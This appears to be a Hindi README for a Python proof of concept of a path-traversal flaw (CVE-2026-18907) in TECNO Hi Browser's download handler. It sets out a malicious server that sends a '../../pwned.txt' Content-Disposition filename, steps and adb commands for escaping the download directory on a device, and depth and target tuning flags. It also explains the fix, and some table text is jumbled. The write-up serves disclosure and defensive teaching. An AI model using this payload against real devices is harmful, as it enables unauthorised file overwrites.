
TECNO Hi Browser के डाउनलोड हैंडलर में CVE-2026-18907 पाथ ट्रैवर्सल के लिए Python PoC। इसमें फिक्स प्रदर्शित करने के लिए दुर्भावनापूर्ण HTTP सर्वर और एक सरल डाउनलोडर शामिल हैं।
CVE-2026-18907 (CVSS 7.5 High, CWE-23) के लिए प्रूफ-ऑफ-कॉन्सेप्ट — TECNO Hi
Browser (com.talpa.hibrowser) संस्करण 2.23.1.1 की डाउनलोड फ़ाइल सुविधा में एक
सापेक्ष पाथ-ट्रैवर्सल भेद्यता। ब्राउज़र ने हमलावर-नियंत्रित Content-Disposition फ़ाइलनाम
पर भरोसा किया और उसे पाथ सेपरेटरों को सैनिटाइज़ किए बिना या कैननिकल-पाथ जाँच के बिना
डाउनलोड निर्देशिका में जोड़ दिया — इसलिए फ़ाइलनाम में ../ अनुक्रमों ने रिस्पॉन्स बॉडी को
Download/ के बाहर उस किसी भी पथ पर लिखने दिया जिसकी अनुमति ब्राउज़र के स्टोरेज
अनुमतियों के पास है।
इस PoC में स्वामित्व वाला
com.talpa.hibrowserAPK शामिल नहीं है। यह (a) सटीक दुर्भावनापूर्ण HTTP डिलीवरी और (b) बग के मूल-कारण वर्ग (एक डाउनलोडर जो रिस्पॉन्स फ़ाइलनाम को पथ घटक मानकर भरोसा करता है) को प्रदर्शित करता है। वही प्रिमिटिव वही है जिसे CVE-2026-18907 वर्णित करता है।
| फ़ाइल | उद्देश्य |
|---|---|
evil_server.py | दुर्भावनापूर्ण HTTP सर्वर। एक रिस्पॉन्स परोसता है जिसके Content-Disposition फ़ाइलनाम में होता है। यह है। |
# टर्मिनल 1 — डिलीवरी सर्वर शुरू करें
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# टर्मिनल 2 — इसके विरुद्ध नेव डाउनलोडर चलाएँ
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
भेद्य join ने /tmp/demo/Download/../../pwned.txt उत्पन्न किया, OS ने
.. को हल किया, और फ़ाइल /tmp/pwned.txt पर प्रकट हुई — डाउनलोड
निर्देशिका के बाहर। निश्चित पथ ने पहले os.path.basename() लिया (../
पथ जानकारी है और इसे हटा दिया जाता है, जिससे pwned.txt बचता है) और फिर
सत्यापित किया कि कैननिकल पथ डाउनलोड निर्देशिका के अंदर ही रहा।
evil_server.py को ऐसे होस्ट पर शुरू करें जहाँ से परीक्षण डिवाइस उस तक पहुँच सके, फिर एक
भेद्य ब्राउज़र को http://<host>:8000/ पर नेविगेट करें। ऐसे ब्राउज़र पर जो attachment
डाउनलोड को स्वतः शुरू करता है और फ़ाइलनाम को सैनिटाइज़ नहीं करता, फ़ाइल ../ श्रृंखला
द्वारा हल किए गए पथ पर लिखी जाती है। adb के साथ कंटेनमेंट विफलता सत्यापित करें:
$ adb shell ls -la /sdcard/Download/ # कुछ नहीं — नाम यहाँ कभी नहीं आया
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # डाउनलोड निर्देशिका से बाहर निकल गया
चढ़ाई की गहराई को --depth के साथ डिवाइस के अनुसार समायोजित करें (डिफ़ॉल्ट 2
/sdcard/Download/ से वापस /sdcard/ तक साफ़ करता है; ऊपर चढ़ने के लिए इसे बढ़ाएँ), और
लैंडिंग basename को --target के साथ समायोजित करें।
किसी भी डाउनलोड प्रबंधक के लिए, पूरा CWE-23 वर्ग दो आदतों में सिमट जाता है जिन्हें एक साथ लागू किया जाए:
/ तक और उसके सहित सब कुछ हटा दें।File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
../ को ब्लैकलिस्ट न करें — ट्रैवर्सल-समतुल्य एन्कोडिंग का समुच्चय
असीमित है। कैननिकलाइज़ करें, फिर तुलना करें। वह एल्गोरिदम बंद है।
सर्वर को केवल ऐसे नेटवर्क पर चलाएँ जिसे आप नियंत्रित करते हैं और केवल उसी डिवाइस के विरुद्ध परीक्षण करें जो आपके स्वामित्व में है। पाथ-ट्रैवर्सल राइट, परिभाषा के अनुसार, एक फ़ाइल-राइट प्रिमिटिव है — इसे किसी ऐसी चीज़ पर न लगाएँ जिसे आप अधिलेखित करने को तैयार नहीं हैं।
MIT — पूर्ण श्रेय और प्राथमिक स्रोतों के लिए संबद्ध लेख देखें।
../naive_downloader.py | एक न्यूनतम डाउनलोडर जो भेद्य join(dir, filename) पैटर्न को पुन: उत्पन्न करता है, साथ ही निश्चित (basename + canonical-containment) संस्करण भी, ताकि आप एक ही रन में एस्केप देख सकें। |